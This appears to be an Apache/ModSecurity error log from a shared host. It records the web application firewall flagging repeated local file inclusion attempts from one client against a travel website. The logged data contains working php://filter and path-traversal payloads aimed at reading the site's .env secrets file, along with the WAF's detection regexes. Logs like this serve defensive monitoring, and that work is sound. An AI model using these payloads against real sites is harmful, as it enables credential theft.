[Fri Jul 17 08:55:11.447861 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:template: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95yAAAAAw"]
[Fri Jul 17 08:55:11.447880 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.448176 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0gVnBK6wAv37w6sHwAAABQ"]
[Fri Jul 17 08:55:11.448830 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95yAAAAAw"]
[Fri Jul 17 08:55:11.448941 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.449202 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4l9vhFBGA6D8l95yAAAAAw"]
[Fri Jul 17 08:55:11.452601 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:template: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AZgAAAAU"]
[Fri Jul 17 08:55:11.453640 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AZgAAAAU"]
[Fri Jul 17 08:55:11.453787 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.454088 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglxAi3pC6yjXGNq2AZgAAAAU"]
[Fri Jul 17 08:55:11.464220 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&template=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&anything=merAhPE9bR8WhuXvgXzNEy7DjjRfDNqbZjlPI04oH8hZBkEJgz4OrusoyHkpno8D6a0U1Gxi5k5BZRpqGCGzlZeBWELmoJWoCrth11OIcvc9SEGq1VklwyEAPpREzUh7a_K_qpnxRTaP-AZrmxcE5Gv0q_rDRnQAQ4jr1C3Zwf5PCQEfJCnMTAnD01GdrJ7jinv4MvJgyl8tWsHPtUZ5k5pljcPQxwIEVsBnWRcF_XSfQUK1nBA955sSUck_-dZeiUle2kdQ__sm8r-jV_N0GaF0&cb=7H3LWSEJAR35RQ3RVZRTBHFG5D3SI7EPTRPQE42..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vScQAAAB4"]
[Fri Jul 17 08:55:11.464296 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vScQAAAB4"]
[Fri Jul 17 08:55:11.464374 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&template=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&anything=merAhPE9bR8WhuXvgXzNEy7DjjRfDNqbZjlPI04oH8hZBkEJgz4OrusoyHkpno8D6a0U1Gxi5k5BZRpqGCGzlZeBWELmoJWoCrth11OIcvc9SEGq1VklwyEAPpREzUh7a_K_qpnxRTaP-AZrmxcE5Gv0q_rDRnQAQ4jr1C3Zwf5PCQEfJCnMTAnD01GdrJ7jinv4MvJgyl8tWsHPtUZ5k5pljcPQxwIEVsBnWRcF_XSfQUK1nBA955sSUck_-dZeiUle2kdQ__sm8r-jV_N0GaF0&cb=7H3LWSEJAR35RQ3RVZRTBHFG5D3SI7EPTRPQE42TMAYVLQALVI4QHOLUPOSP62AZQK3..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vScQAAAB4"]
[Fri Jul 17 08:55:11.464440 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&template=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&anything=merahpe9br8whuxvgxzney7djjrfdnqbzjlpi04oh8hzbkejgz4orusoyhkpno8d6a0u1gxi5k5bzrpqgcgzlzebwelmojwocrth11oicvc9segq1vklwyeapprezuh7a_k_qpnxrtap-azrmxce5gv0q_rdrnqaq4jr1c3zwf5pcqefjcnmtand01gdrj7jinv4mvjgyl8twshptuz5k5pljcpqxwievsbnwrcf_xsfquk1nba955ssuck_-dzeiule2kdq__sm8r-jv_n0gaf0&cb=7h3lwsejar35rq3rvzrtbhfg5d3si7eptrpqe42tmayvlqalvi4qholuposp62azqk3..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vScQAAAB4"]
[Fri Jul 17 08:55:11.464505 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vScQAAAB4"]
[Fri Jul 17 08:55:11.464557 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vScQAAAB4"]
[Fri Jul 17 08:55:11.465094 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:template: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vScQAAAB4"]
[Fri Jul 17 08:55:11.466681 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vScQAAAB4"]
[Fri Jul 17 08:55:11.466889 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.467342 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1CBpfuYyhJ140vScQAAAB4"]
[Fri Jul 17 08:55:11.473588 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&template=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F..%2F.env&sid=s2i0fjQ9b1-N2f3dbTcCTJzUcE8Bl5NDRAswBv9deypU2-PB0S3Kq-jaJ5tNoQWh0ps5U7_N56Qvr45MKVJ2KF1eZkCygZskd6vYsihcE3BCtZxk6fOo4NmfqWe8ddiUCO6kSOYTCwiCIS7AFiAT5EmzPH71Q40BiWNYI58-3z1i5Cr_cwtYPdyA9ruFXq66sQM7OkM0pSaucoHq853D_9y7P4fonTJfT0YFbKLUJvM7HiTT9mBm_55AMwdcG3Br7yzE9eFMJVqs97KnJbrbRFV0&debug=LXMS2Y33PQ3GOHVT7OA52WDQWZ2OXPY3DOEX6LGVVCPT2H2EPS7RWGZV22UNYD655VFC..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MNAAAAAc"]
[Fri Jul 17 08:55:11.473653 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MNAAAAAc"]
[Fri Jul 17 08:55:11.473701 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&template=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&sid=s2i0fjQ9b1-N2f3dbTcCTJzUcE8Bl5NDRAswBv9deypU2-PB0S3Kq-jaJ5tNoQWh0ps5U7_N56Qvr45MKVJ2KF1eZkCygZskd6vYsihcE3BCtZxk6fOo4NmfqWe8ddiUCO6kSOYTCwiCIS7AFiAT5EmzPH71Q40BiWNYI58-3z1i5Cr_cwtYPdyA9ruFXq66sQM7OkM0pSaucoHq853D_9y7P4fonTJfT0YFbKLUJvM7HiTT9mBm_55AMwdcG3Br7yzE9eFMJVqs97KnJbrbRFV0&debug=LXMS2Y33PQ3GOHVT7OA52WDQWZ2OXPY3DOEX6LGVVCPT2H2EPS7RWGZV22UNYD655VFC3KN535WQCNFILRNKFGI7V5IST7..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MNAAAAAc"]
[Fri Jul 17 08:55:11.473760 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&template=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&sid=s2i0fjq9b1-n2f3dbtcctjzuce8bl5ndraswbv9deypu2-pb0s3kq-jaj5tnoqwh0ps5u7_n56qvr45mkvj2kf1ezkcygzskd6vysihce3bctzxk6foo4nmfqwe8ddiuco6ksoytcwicis7afiat5emzph71q40biwnyi58-3z1i5cr_cwtypdya9rufxq66sqm7okm0psaucohq853d_9y7p4fontjft0yfbklujvm7hitt9mbm_55amwdcg3br7yze9efmjvqs97knjbrbrfv0&debug=lxms2y33pq3gohvt7oa52wdqwz2oxpy3doex6lgvvcpt2h2eps7rwgzv22unyd655vfc3kn535wqcnfilrnkfgi7v5ist7..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MNAAAAAc"]
[Fri Jul 17 08:55:11.473787 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MNAAAAAc"]
[Fri Jul 17 08:55:11.473811 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MNAAAAAc"]
[Fri Jul 17 08:55:11.474190 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:template: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MNAAAAAc"]
[Fri Jul 17 08:55:11.475238 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MNAAAAAc"]
[Fri Jul 17 08:55:11.475392 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.475718 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1h1WDijTxd1xw5MNAAAAAc"]
[Fri Jul 17 08:55:11.477156 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: 